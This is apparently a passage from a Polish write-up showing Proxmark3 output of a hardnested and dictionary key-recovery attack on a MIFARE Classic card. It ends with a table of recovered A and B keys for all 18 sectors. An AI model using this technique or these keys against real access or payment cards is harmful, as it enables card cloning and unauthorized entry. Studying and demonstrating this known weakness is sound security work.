- [=] 13 | 1001 | Apply bit flip properties | 497112612864 | 7min
- [=] 13 | 1111 | Apply bit flip properties | 497112612864 | 7min
- [=] 14 | 1221 | Apply bit flip properties | 497112612864 | 7min
- [=] 15 | 1332 | Apply bit flip properties | 497112612864 | 7min
- [=] 16 | 1442 | Apply bit flip properties | 497112612864 | 7min
- [=] 19 | 1548 | Apply Sum property. Sum(a0) = 96 | 17865103360 | 14s
- [=] 19 | 1659 | Apply bit flip properties | 17865103360 | 14s
- [=] 20 | 1767 | Apply bit flip properties | 9474600960 | 8s
- [=] 21 | 1877 | Apply bit flip properties | 10344664064 | 8s
- [=] 22 | 1989 | Apply bit flip properties | 10508108800 | 9s
- [=] 23 | 2097 | Apply bit flip properties | 10508108800 | 9s
- [=] 24 | 2207 | Apply bit flip properties | 10188015616 | 8s
- [=] 24 | 2207 | (1. guess: Sum(a8) = 128) | 10188015616 | 8s
- [=] 30 | 2207 | Apply Sum(a8) and all bytes bitflip properties | 6385345024 | 5s
- [=] 35 | 2207 | Brute force phase: 77.64% | 4309856256 | 3s
- [=] 36 | 2207 | (2. guess: Sum(a8) = 136) | 15732122624 | 13s
- [=] 39 | 2207 | Apply Sum(a8) and all bytes bitflip properties | 14707302400 | 12s
- [=] 39 | 2207 | Brute force phase completed. Key found: 94F906BEF571 | 0 | 0s
- [+] target sector 1 key type A -- found valid key [ 94F906BEF571 ]
- [+] target sector 1 key type B -- found valid key [ 4ECD92B8C45D ]
- //...
- //...
- //...
- [+] found keys:
- [+] -----+-----+--------------+---+--------------+----
- [+] Sec | Blk | key A |res| key B |res
- [+] -----+-----+--------------+---+--------------+----
- [+] 000 | 003 | DA99871DC5E4 | D | 7BC6E7BFE085 | D
- [+] 001 | 007 | 94F906BEF571 | H | 4ECD92B8C45D | A
- [+] 002 | 011 | DD523D494104 | H | 9F893FA140C4 | A
- [+] 003 | 015 | 27C844CD770C | H | 1BF96012B2A3 | A
- [+] 004 | 019 | 44CD1CA09AB5 | H | C8AE2B84F86F | A
- [+] 005 | 023 | 77715642F5A5 | H | C9125E6EE40B | A
- [+] 006 | 027 | A5736B7EFE59 | H | E2C3C6E8D31E | A
- [+] 007 | 031 | F4D48B525BDA | H | CD4220FA191A | A
- [+] 008 | 035 | 8C02CD5E7E05 | H | 6664BE32FD1A | A
- [+] 009 | 039 | 7302F49034A3 | H | 349402648902 | A
- [+] 010 | 043 | A5474F99C4AE | H | B407BDD1B160 | A
- [+] 011 | 047 | 042DDB3277B5 | H | C87A09035983 | A
- [+] 012 | 051 | 13E76046FC18 | H | 997B77CEE136 | A
- [+] 013 | 055 | FEF7587DE5EE | H | 50687863A3B9 | A
- [+] 014 | 059 | 34B537834116 | H | 35AFC49A5EAB | A
- [+] 015 | 063 | 2967C9FD23B3 | H | F89E24602439 | A
- [+] 016 | 067 | 5C8FF9990DA2 | D | D01AFEEB890A | D
- [+] 017 | 071 | 75CCB59C9BED | D | 4B791BEA7BCC | D
- [+] -----+-----+--------------+---+--------------+----
- [=] ( D:Dictionary / S:darkSide / U:User / R:Reused / N:Nested / H:Hardnested / C:statiCnested / A:keyA )
Jak widać udało się uzyskać wszystkie klucze do sektorów.